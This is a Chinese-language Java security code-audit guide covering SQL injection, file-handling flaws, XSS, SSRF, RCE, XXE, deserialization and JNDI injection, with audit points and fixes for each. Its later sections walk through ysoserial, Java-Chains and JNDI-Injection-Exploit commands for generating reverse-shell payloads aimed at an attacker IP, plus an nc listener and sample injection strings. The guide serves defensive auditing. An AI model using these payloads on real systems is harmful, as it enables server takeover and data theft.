Java 代码审计
SQL 注入
JDBC
JDBC 是 Java 访问数据库的常用方式,SQL 注入通常出现在动态拼接 SQL 语句的场景中。
审计要点
定位 SQL 语句:搜索代码中包含 SQL 查询的地方,通常涉及
Statement
或PreparedStatement
。检查参数拼接:检查 SQL 语句是否通过字符串拼接直接将用户输入拼接到查询中。
检查参数过滤:
- 转义:检查是否对用户输入进行了适当的转义处理。
- 强制类型:确保输入参数被强制转换为预期类型(如整数、字符串),避免恶意输入破坏 SQL 结构。
修复
- 禁止直接拼接用户输入到 SQL 语句。
- 实现输入验证和白名单过滤,限制用户输入的格式和内容。
- 使用 ORM 框架(如 Hibernate、MyBatis)以减少手动拼接 SQL 的风险。
- 使用
PreparedStatement
或CallableStatement
处理参数化查询。
MyBatis
MyBatis 是 Java 中常用的持久化框架,SQL 注入风险主要出现在动态 SQL 的处理中。
审计要点
${}
与#{}
的区别:${}
:直接将变量值拼接到 SQL 语句中,存在 SQL 注入风险。例如:SELECT * FROM users WHERE username = ${userInput}
如果
userInput
为admin' OR '1'='1
会导致 SQL 注入。#{}
:使用 预处理 机制,自动对参数进行转义,防止 SQL 注入。例如:SELECT * FROM users WHERE username = #{userInput}
表现形式:
注解形式:检查 MyBatis 注解(如
@Select
)中的 SQL 语句,是否存在${}
。@Select("SELECT * FROM users WHERE username = ${username}") List<User> findUser(String username);
XML 形式:检查 MyBatis 的 XML 映射文件中是否存在
${}
包裹的变量,或动态 SQL 是否分行。
检查点:
- 搜索
${}
的使用场景,确认是否为可控输入。 - 检查是否存在白名单过滤或参数验证逻辑。
- 搜索
修复
- 优先使用
#{}
进行参数绑定,尽量避免${}
。 - 如果必须使用
${}
(如动态表名或列名),确保输入经过严格的白名单验证。 - 在 MyBatis 配置文件中启用日志,记录实际执行的 SQL 语句,便于审计。
文件操作漏洞
任意文件读取
攻击者通过控制文件路径参数,读取服务器上的敏感文件(如配置文件、源代码等)。
审计要点
- 检查文件读取接口:搜索涉及文件读取的类和方法,如
FileInputStream
、Files.readAllBytes
等。 - 路径参数来源:检查文件路径是否来自用户输入,是否存在路径遍历(如
../../etc/passwd
)。 - 过滤机制:检查是否对用户输入的路径进行了规范化或白名单限制。
修复
- 对文件路径进行规范化处理,使用
Paths.get().normalize()
。 - 限制文件访问范围到特定目录(如
/uploads/
)。 - 实现白名单机制,仅允许访问特定文件类型或名称。
- 文件保存时,将文件名替换为随机字符串。
任意文件下载
通过控制文件下载接口的参数,攻击者可下载服务器上的任意文件。下载行为通常通过响应头 Content-Disposition: attachment
触发。
审计要点
- 检查下载接口:搜索设置
Content-Disposition
的代码,确认文件路径来源。 - 路径控制:检查是否允许用户输入控制下载文件路径。
修复
- 对下载文件路径进行严格验证,限制在特定目录。
- 使用白名单限制文件扩展名(如
.pdf
、.jpg
)。 - 避免直接将用户输入拼接进响应头,防止响应头注入。
文件上传
攻击者通过文件上传接口上传恶意文件(如 Webshell),从而控制服务器。
审计要点
搜索上传接口:查找包含
upload
关键字的接口或方法,通常涉及MultipartFile
或CommonsMultipartResolver
。文件类型检查:
- 检查是否对上传文件的扩展名、MIME 类型或内容进行了验证。
- 注意:Java 网站无法直接解析
.java
文件,上传.java
文件的 Webshell 无意义。
上传方式:
- JSP 上传:如果目标使用 JSP(Java Server Page)写网站,检查是否允许上传
.jsp
文件,.jsp
文件可被解析为动态脚本。 - 内存马:内存马无法通过单一文件上传实现,但需关注后续代码逻辑是否允许动态加载恶意代码。
- JSP 上传:如果目标使用 JSP(Java Server Page)写网站,检查是否允许上传
修复
- 实现严格的文件类型验证,限制上传文件扩展名(如
.jpg
、.png
)。 - 检查文件内容,防止伪造 MIME 类型。
- 限制上传目录的执行权限,防止
.jsp
文件被解析。 - 定期扫描上传目录,检测异常文件。
- 使用 OSS。
XSS(跨站脚本攻击)
用户传入的参数被直接返回到了浏览器中,攻击者通过注入恶意脚本(如 JavaScript),在用户浏览器中执行,窃取用户数据或执行未授权操作。
审计要点
- 检查用户输入输出:搜索用户输入是否直接返回到浏览器响应中。
- 检查转义处理:查看是否使用了安全的输出编码库(如 OWASP ESAPI 或 Spring Security 的
HtmlUtils
)。
修复
- 对用户输入进行 HTML 转义,使用
HtmlUtils.htmlEscape()
或类似库。 - 实现 Content Security Policy(CSP)限制脚本执行。
- 对输出到 JavaScript 上下文的变量进行 JSON 编码。
SSRF(服务器端请求伪造)
攻击者通过控制服务器发起的请求 URL,访问内部网络资源或外部恶意服务。
审计要点
- 检查 URL 输入:搜索涉及 HTTP 请求的代码(如
HttpURLConnection
),确认 URL 是否来自用户输入。 - 验证请求目标:检查是否对 URL 进行了白名单限制或协议过滤(如仅允许
http
和https
)。
修复
- 限制请求协议为
http
和https
。 - 使用白名单限制目标域名或 IP。
- 避免将用户输入直接用于构造请求 URL。
RCE(远程代码执行)
攻击者通过特定的类或方法执行系统命令,控制服务器。
审计要点
检查命令执行方法:
🌟
Runtime.getRuntime().exec()
:String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd);
上述代码直接执行用户输入的命令,存在严重 RCE 风险。
ProcessBuilder.start()
Processlmpl
类start
方法(该类是final
类,必须反射使用)。Java JS 引擎
nashorn
(让 Java 加载一个恶意的 JS 代码实现命令执行 )GroovyShell.evaluate
执行用户输入。
Processlmpl
类start
方法是ProcessBuilder.start()
的父类,ProcessBuilder.start()
是Runtime.getRuntime().exec()
的父类。
修复
- 禁止直接执行用户输入的命令。
- 对命令参数进行严格的白名单验证。
- 定期更新依赖库,防止已知漏洞。
XXE(XML 外部实体注入)
攻击者通过构造恶意的 XML 输入,触发外部实体解析,读取服务器文件或发起网络请求。
审计要点
检查 Java 解析 xml 相关的类/方法:
XMLReader.parse
SAXReader.read
SAXParser.parse
SAXBuilder.build
DocumentBuilder.parse
DocumentBuilder createXMLStreamReader + Unmarshaller unmarshal
外部实体配置:检查是否禁用了外部实体解析:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
如果未禁用,可能导致 XXE。
修复
- 禁用外部实体和 DTD 解析。
- 使用安全的 XML 解析库(如
javax.xml.parsers
)。 - 对 XML 输入进行严格验证。
反序列化漏洞
攻击者通过构造恶意的序列化数据,利用 readObject
等方法触发恶意代码执行。
审计要点
检查反序列化入口:
ObjectInputStream.readObject
:将字节码反序列化为内存中的对象。XMLDecoder.readObject
:XML 格式的反序列化。SnakeYaml.Yaml.load
:YAML 格式的反序列化。
依赖库:检查项目是否使用了存在已知反序列化漏洞的库(如 Apache Commons Collections 等)。
工具
ysoserial
ysoserial
自带大部分 Java 反序列化利用链。
URLDNS 链:测试是否存在反序列化漏洞。
java -jar ysoserial.jar URLDNS "http://test.dnslog.cn" | base64
将生成的 Payload 提交到目标接口,观察 DNS 日志是否收到请求。
RCE 链:🌟 常用的链如 CommonsCollections 系列链(CC 链)、 CommonsBeanUtils 系列链(CB 链)、CommonsCollectionsK 系列链 (K1 链 、K2 链)等。
java -jar ysoserial.jar CommonsCollections5 "CMD" | base64
截图示例:
- URLDNS 链:
- RCE 反弹 Shell:
Java-Chains
比 ysoserial
利用链更多。
以生成 base64 编码的反弹 Shell 的 java 序列化 payload 为例:
选择 JavaNativePayload。
选择要使用的链,如 CommonsBeanUtils1。
选择加载字节码。
选择处理字节码
- 一般使用默认选择 ByteCodeConvert (这个功能是为了绕过某些 WAF,正常的 Java 反序列化不需要,但是 java-chains 必须选)。
选择是要执行命令还是反弹 Shell 或是其他。
- 选择反弹 Shell 后,需要在 ReverseShell 配置项中配置攻击机 IP 地址和端口号。
选择合适的编码,并点击生成按钮,即可生成 payload。
截图示例:
修复
- 避免直接反序列化用户输入。
- 实现白名单机制,限制反序列化的类。
- 更新依赖库到无漏洞版本。
- 使用
SerialKiller
或类似工具限制反序列化类。
JNDI 注入
攻击者通过控制 JNDI 的 Context 类的 lookup
方法参数,触发远程代码加载或执行。
审计要点
检查 JNDI 使用:搜索
Context.lookup
方法,确认参数是否来自用户输入。String jndiUrl = request.getParameter("jndi"); InitialContext ctx = new InitialContext(); ctx.lookup(jndiUrl);
上述代码未验证
jndiUrl
,可能导致 JNDI 注入。协议检查:关注
ldap://
和rmi://
协议的使用。
工具 JNDI-Injection-Exploit
使用工具生成 payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 攻击机IP -C 反弹Shell的命令
攻击机配置监听:
nc -lvnp [port]
使用
ldap://
(轻型目录访问协议) 或rmi://
(远程方法调用协议)链接攻击目标服务器。
截图示例:
修复
- 禁止用户控制 JNDI 的
lookup
参数。 - 限制 JNDI 协议为安全的内部服务。
- 更新 JDK 到修复了 JNDI 漏洞的版本(如 JDK 8u191+)。